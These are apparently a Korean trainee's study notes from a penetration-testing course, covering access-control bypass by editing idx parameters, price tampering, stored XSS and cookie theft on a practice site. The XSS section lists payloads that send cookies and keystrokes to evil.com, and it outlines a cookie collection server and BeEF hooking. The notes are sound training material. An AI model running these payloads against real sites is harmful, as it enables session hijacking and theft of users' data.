[SK shieldus Rookies 29기] 22일차

인증 및 인가 취약점

부적절한 인증 및 인가

• 인증 및 인가에 대한 검증 로직이 잘못 구현되었을 때 발생
• 다른 사용자 게시글 수정/삭제, 관리자 페이지 접근, 다른 사용자 비밀번호 변경, 2단계 인증 우회, 결제 로직 우회 등

다양한 시나리오

1. 다른 사용자 게시물 수정 및 삭제 여부
   • 다른 사용자의 게시물을 수정하거나 삭제할 수 있는지 여부.
   • 해당 페이지에 개인정보가 포함되어 있는지 여부.
2. 다른 사용자 개인정보 수정 페이지 접근 가능 여부 (쿠팡...)
   • 다른 사용자의 개인정보 수정 페이지에 접근할 수 있는지 여부.
   • 이력서 서비스, Q&A 상담글, 1:1 문의 게시물 등도 동일한 프로세스.
3. 비밀글 접근 가능 여부
   • 비밀글(상담글 등)에 접근할 수 있는지 여부.
   • 사용자가 비밀글을 체크한 이유를 고려한 접근 가능성.
4. 상품 결제 금액 조작 여부
   • 상품 결제 금액, 할인율, 쿠폰, 카드 할인율, 배송비 등을 조작할 수 있는지 여부.
   • 금액 조작뿐만 아니라 배송 프로세스까지의 관리적인 문제 도출 가능성.
5. 쿠키 세션 정보를 이용한 권한 상승 여부
   • 쿠키 세션 정보를 이용해 권한 상승이 가능한지 여부.
   • 획득한 세션 정보로 접근할 수 없던 관리자 페이지에 접근 가능 여부.
   • 회원 관리, 게시판 관리 등 다양한 접근 시나리오 구상 가능성.
6. 공인인증서 우회를 통한 권한 획득 여부
   • 공인인증서 로그인 과정에서 타인의 정보를 이용해 권한 우회가 가능한지 여부.
7. 다른 사용자의 온라인 증명서 발급 가능 여부
   • 발급 페이지 솔루션의 인증 처리를 우회하여 다른 사용자의 개인정보가 포함된 증명서 발급 가능 여부.
8. 유료 콘텐츠 접근 가능 여부
   • 유료 서비스를 신청한 사용자에 대한 체크 권한을 우회하여 유료 콘텐츠에 마음대로 접근 및 다운로드 가능한지 여부.
   • 예를 들면 네이버 웹툰 쿠키를 지불하지 않고 값을 조작하여 쿠키가 없는데도 불구하고 마치 있는 것처럼 접근 가능
9. 회원 가입 과정에서 자바스크립트 우회(저번 수업시간에 했던게 이것)

이제 위와 같은 시나리오를 가지고 실습을 진행해보자.
다만 6번과 7번, 8번은 복잡하므로 일단 패싱하고 나머지를 오늘 진행한다.
참고로 저번 수업시간에 9번은 진행을 하였다.

---

투표 기능 우회하기

설문조사 투표 결과 조회를 진행하려고 한다.
저번에 했던 것과 똑같이 버프스위트 키고서 비교를 진행해보자.

현재 버프스위트를 통해서 Response를 살펴보니 투표하기 기능이 이렇게 있다. 아까 투표 조회를 진행하려고 헀는데 기간이 만료된 설문조사라고 창이 뜨면서 조회가 불가능 하였다.

저번처럼 코드를 날려도 되지만 그냥 != 처리를 해버리면 간단히 해결할 수 있다. 아니면 if(Status=="now") 처리를 해도 된다.

바꾸면 이렇게 설문조사 투표결과를 조회할 수 있다.

---

다음 실습을 위해서 저번에 설치했던 gm을 구동시키자.
그리고 테스트용으로 attacker, victim account를 각각 만들자.
어차피 나만 쓰기 때문에 무슨 짓을 하든 상관이 없는 서버다.
다만, 실무에서 주의할 점!!!!

• 절대!!! 절대로 일반 사용자(컨설턴트 이외) 게시물을 함부로 수정/삭제 안됨!!!
• 2명이 투입될 때는 서로 글 리고, 서로 삭제하고!!
• 1명이 투입될 때는 다른 브라우저를 두개를 사용해서, 계정을 두개를 만들어요.

---

Attacker는 Victim의 1:1 문의 내역을 볼 수 있는가?

각각 크롬과 엣지에서 따로 만들어준다. 나는 크롬에서는 attacker, 엣지에서는 victim을 만들었다.

이제 진짜 실습을 시작하자.

일대일 문의는 해당 사이트에도 나와있지만 나와 운영진 밖에 못 봐야지 정상적인 접근 과정이라고 볼 수 있다. 근데 공격자가 희생자의 일대일 문의 내역을 보게 되는 경우 당연히 취약점을 악용하여 공격으로 이루어질 수 있다.

먼저 어떤 동작으로 이루어지는 것을 알기 위해서 Attacker는 자신이 먼저 일대일 문의 글을 남긴다.

Victim도 문의글을 남겨준다.

Attacker는 Victim의 일대일 문의글을 보기 위해서 일단 본인 껄로 여러가지 동작을 시켜본다. 왜냐하면 일단 사이트에서 어떤 프로세스로 동작하는지 알아야지 Attacker가 취약점을 발견할 것이 아닌가. 그러한 지점에서 모의 해킹은 엉덩이가 무겁고 진득하게 하는 사람이 잘 한다 카더라...

저번에 bee-box 할 때도 살펴봤지만 진짜 봐야 할게 많다.
두 화면의 url을 잘 살펴보면 뭔가 느낌이 와야된다.
안 오면 bee-box 문제를 여러 개 풀어보면 감이 좀 오려나..?

ask_view.php?data=idx%3D149%
ask_view.php?data=idx%3D146%

두 화면의 url을 보기 편하게 잘라왔다.
idx 값이 146과 149로 그대로 url에 있다.
그러면 왠지 조작하고 싶어진다.
파라미터 변신~

146에서 147로 변경하였더니 attacker가 쓴 글이 아닌 victim이 쓴 글이 그대로 나온다.

148로 변경하였더니 또 victim이 쓴 글이 나왔다.

그러면 조회를 했으니 수정이나 삭제까지 가능한지 진행해보자.

수정도 가능하다.

삭제도 가능하다.

---

Attacker는 Victim의 주문 내역을 볼 수 있는지?

이번에는 쿠팡이 유출된 것처럼 주문 내역을 볼 수 있는지를 진행해보자.

이번에도 서로 비교를 하면서 진행하기 위해서 주문을 진행해보자

먼저 공격자 것으로 검증을 해본다.

버프스위트에 이렇게 잡히는 것을 봐서 idx값을 변경하면 될 것 같다.

idx 값이 idx%3D4% idx%3D5%인 것을 보니 역시 파라미터 값을 조작하면 볼 수 있을 것 같은 느낌이 든다.

이제 파라미터 값을 변환하자.
attacker가 아닌 victim의 주문 정보를 볼 수가 있다.

조회 성공
이제 주문 취소도 진행해 보자.

이제 진짜 주문 취소가 됐는지 victim 계정으로 접속하여 확인해보자.

주문 취소 성공

---

Attacker는 Victim의 장바구니 담기, 관심 품목을 삭제할 수 있는지?

장바구니

역시 비교를 하기 위해 attacker로 먼저 진행을 한다.

역시 idx값을 변환하면 될 것 같은 느낌이 든다.

변환한 뒤에 다시 홈페이지를 들어가 보니까 삭제됐는지 안됐는지 알 수 있는 방법이 없다.

지금은 실습이기 때문에 테스트 계정을 통해 확인을 해보자

victim 장바구니가 사라진 것을 확인할 수 있다.

관심 품목

삭제된 것을 확인

---

비밀글 조회, 수정, 삭제하기

앞에서는 idx값을 변경하면 다 뚫려버리는 것을 확인한 attacker는 이번에도 idx값을 변경하기로 결정한다.

변경을 시도한다.

왜 안 되누??

그런데 비밀번호가 맞지 않는다고 접근을 거부당했습니다. 공격자가 비밀번호를 현재로서 알아낼 수 있는 길이 없으니 그러면 일단 공격자 계정으로 게시글 안에 들어갑니다.

수정을 진행할 수 있다면 어차피 글을 볼 수 있으니까 상관이 없습니다.
그러면 수정 페이지로 접근하겠습니다.

희생자의 idx 값으로 변환을 진행합니다.

왜 안 되누??

이럴수가...!!!
수정 페이지도 비밀번호를 체크해서 도저히 접근히 안 되는 것 같습니다.
마지막으로 진짜 공격자가 본인의 계정으로 진짜 수정을 진행해 봅니다.

버프스위트에 위와 같이 잡힌 것을 확인할 수 있습니다.

희생자의 idx 값으로 변환을 합니다.




아까 수정한 글이 잘 반영된 것을 확인할 수 있습니다.

여기서 아까 진행했던 일대일 문의 내역의 idx 값이 생각이 납니다.

잘 보면 idx 값이 일대일 문의 게시판이던 자유게시판이던 연속적으로 이루어진 것을 볼 수가 있습니다. 그러면 일대일 문의 게시판에서 idx값을 변환시키면 다른 글의 내용도 볼 수 있을 것 같다는 느낌이 듭니다.
왜냐 DB를 분리시켜놓았으면 당연히 격리되어서 접근을 할 수가 없지만 돈이 없는 서버 운영진이라든지 아니면 생각을 하지 않고 격리를 하지 않은 것인지 공격자에게는 감사한 일입니다.

역시나 idx 값을 변환하니 글 내용이 그대로 노출되는 것을 확인할 수 있습니다.

---

가격 조작하기

100원으로 결제하기 성공

그러면 진짜 관리자 페이지에도 100원으로 결제가 진행이 됐는지를 테스트를 진행!

크롬말고 엣지로 들어가야 한다.

admin/admin으로 로그인을 진행하고 관리자페이지에 접속.

이러면 매일이 블랙프라이데이...??

---

XSS 취약점

XSS 취약점: 입력 값 검증 미흡!!!

• 웹 파라미터 값 조작 (웹 해킹) - XSS 취약점, SQLi, OS Comand…LFI…
• 파일 데이터 값 조작 - BoF 중 하나.
• 네트워크 데이터 값 조작 - 하트블리드..
• 클라이언트 스크립트를 이용하여 사용자(브라우저)에게 특정 행위를 하도록 만드는 취약점
• 특정한 행위 → 대표적인 것은 악성코드가 설치되어 있는 악성서버로 유도!!!
• 대표적인 클라이언트 스크립트 언어 : JavaScript, VBScript, html 등
• 공격 유형
  • 세션 하이재킹 (쿠키정보 이용)
  • 쿠키 재사용 공격 → 다른 사용자 권한 획득!!
  • 악성코드 배포 (범죄자 입장)
  • 피싱 사이트 유도
  • CSRF 공격과 연계하여 데이터 수정 등

그 중에서도 이걸 진행해보려고 한다.

• Stored XSS: 악성 스크립트가 웹사이트의 데이터베이스에 저장되었다가, 사용자가 해당 페이지를 방문할 때마다 계속해서 실행되는 방식입니다. 게시판, 댓글 등에 악성 코드가 삽입되는 경우가 많습니다.

먼저 <script>alert(1)</script>와 같은 코드가 제대로 실행을 시켜서 해당 웹 애플리케이션이 입력값 검증을 제대로 하지 않거나 스크립트 삽입을 차단하지 않는 취약점이 있는지 파악을 합니다.

제대로 동작이 되는 걸 보니까 취약한 것 같습니다.

이번에는 다 넣어봅니다. 역시나 팝업창이 다 뜹니다.

취약한 지점이 확인되었으니 이를 활용한 공격을 실행하기 위한 사전 준비를 하겠습니다.

iframe 동작 확인

iframe을 사용하는 이유는 다음과 같습니다.

모의 해킹에서의 iframe 활용

모의 해킹에서는 보통 웹 애플리케이션의 보안 취약점을 테스트하는 과정에서 iframe을 활용한 공격을 시도합니다. 공격자는 <iframe>을 사용해 보안 취약점을 유발하거나 다른 공격 기법을 결합할 수 있습니다.

1. XSS + iframe:

   XSS를 활용하여 공격자가 자신의 서버에 배치한 악성 웹 페이지를 <iframe>으로 삽입하거나, 사용자가 의도하지 않게 다른 사이트에서 데이터를 전송하도록 만들 수 있습니다.

2. Clickjacking:

   공격자는 클릭을 유도하여 사용자가 의도하지 않은 행동을 하게 만듭니다. 보통 이때 사용자는 클릭하려는 것이 악성 링크나 버튼인 줄 모르고 클릭하게 됩니다.

3. 정상적인 웹사이트 공격:

   iframe을 사용해 정상적인 웹사이트에 피해를 줄 수 있습니다. 예를 들어, iframe을 통해 정상 웹사이트를 호출하지만 실제로 사용자는 이를 인식하지 못하고 공격자의 사이트에서 다른 행동을 하게 만들 수 있습니다.

눈 크게 뜨고 잘 보면 '이것은 테스트이다.' 옆에 쪼그맣게 뭔가 있는 것이 보인다. 이건 좀 더 디테일 추가하면 안 보이게 할 수 있다.

그러면 이제 제대로 동작이 되는 것을 확인하였으니 악성 웹페이지를 게시글에 iframe을 활용하여 다른 사용자의 쿠키 정보를 수집할 것이다.

다음 단계로 넘어가기 전에 간단하게 이론을 정리하자!

Reflected XSS (Info 정도 수준)

• 악성 스크립트가 즉시 반사되어 실행되는 XSS 공격
• 작동 방식
  • 공격자가 악성 URL을 생성
  • 사용자가 해당 URL을 클릭
  • 서버가 악성 스크립트를 포함한 응답을 즉시 반사
  • 사용자의 브라우저에서 스크립트가 실행됨
• 예시
  • 공격자가 이메일에 악성 링크 삽입
  • 사용자가 링크 클릭 시 악성 스크립트 실행

http://example.com/search?q=<script>alert('XSS');</script>

Cross-Site Scripting (XSS) Cheat Sheet - 2021 Edition | Web Security Academy

<!-- 예시 1: URL 파라미터를 통해 삽입되는 XSS 페이로드 -->
<script>alert('XSS 공격 성공! 쿠키 탈취: ' + document.cookie);</script>

<!-- 예시 2: onload 이벤트로 스크립트 실행 (당신이 요청한 onload 사례) -->
<body onload="fetch('https://evil.com/steal?data='+btoa(document.cookie))">

<!-- 예시 3: 이미지 onerror를 이용한 키로거 유도 -->
<img src=x onerror="document.onkeypress=function(e){fetch('https://evil.com/log?k='+e.key)}">

<!-- 예시 4: SVG, object 태그로 외부 악성 SWF/플러그인 로드 (구형 브라우저 대상) -->
<object data="https://evil.com/malicious.swf"></object>

<!-- 예시 5: SVG를 이용한 인라인 스크립트 실행 -->
<svg onload="new Image().src='https://evil.com/exfil?c='+encodeURIComponent(document.cookie)"></svg>

XSS 취약점이 발생하면?!! 어떤 공격을 할 수 있냐?!!

쿠키 재사용 공격 = 사용자의 쿠키 정보(인증 포함)를 획득해서 중요 정보를 다시 사용해서 권한을 획득

1. 호스팅 업체 서버(클라우드)를 빌려서 악성 서버로 사용
2. 이미 구축되어 있는 수집 서비스를 사용하는 방법
3. 직접 서버를 만듬

이중에서 3번을 진행하자. 실습을 위해서 먼저 칼리 리눅스 서버 세팅을 진행한다.

다운받은 쿠키 파일을 풀고 칼리로 복붙하자!

권한 부여 진행하고 cookie.php 에다가 vi편집기 열고 <?php 로 변경을 한다.

그런 다음에 아파치 서버 구동.

칼리 아이피 확인하고 크롬에다가 해당 아이피 입력.


제대로 서버를 구축한 것을 확인할 수 있다.
이제 공격자는 다른 사용자가 읽기를 바라면서 게시글을 작성한다.


그리고 이제 Victim이 공격자가 올린 해당 게시글을 읽는다.

Victim이 해당 게실글을 읽으니까 서버에 Victim의 쿠키, 이전주소, 시간, 브라우저, 아이피 정보가 수집된 것을 확인할 수 있다.

수집한 쿠키값을 가지고 개발자도구에서 쿠키값을 편집한다.



Victim이 해당 글을 읽는 순간 쿠키값들이 공격자에게 전송이 되고 해당 쿠키값을 입력하면 로그인 주체가 공격자에서 Victim로 바뀔 거임

바뀐 것을 확인

---

Beef-XSS Framework 이용하기

본인 칼리 아이피로 변경을 진행하고 해당 스크립트를 공격자 계정을 글 작성.

글 올린 것을 victim이 클릭하고 읽음.

그러면 아까 진행한 beef에서 상세한 정보가 노출이 됨.
그리고 이제 다양한 커맨드들로 공격 및 정보 탈취를 할 수 있다.
예시는 아래와 같다.







현재는 해당 게시글 사이트에서만 구동이 가능한 것 1초마다 계속 보내서 마치 지속적인 연결처럼 보이는 것.

해당 사이트를 나가면 오프라인으로 변하게 됨.

따라서 희생자가 오래 머무르게 하기 위해 대부분의 사람들이 좋아하는 영상 혹은 긴 글, 만화 등을 삽입하여 게시판에 머무르는 시간을 늘린다.

---

따라가다가 찢어지겠다.....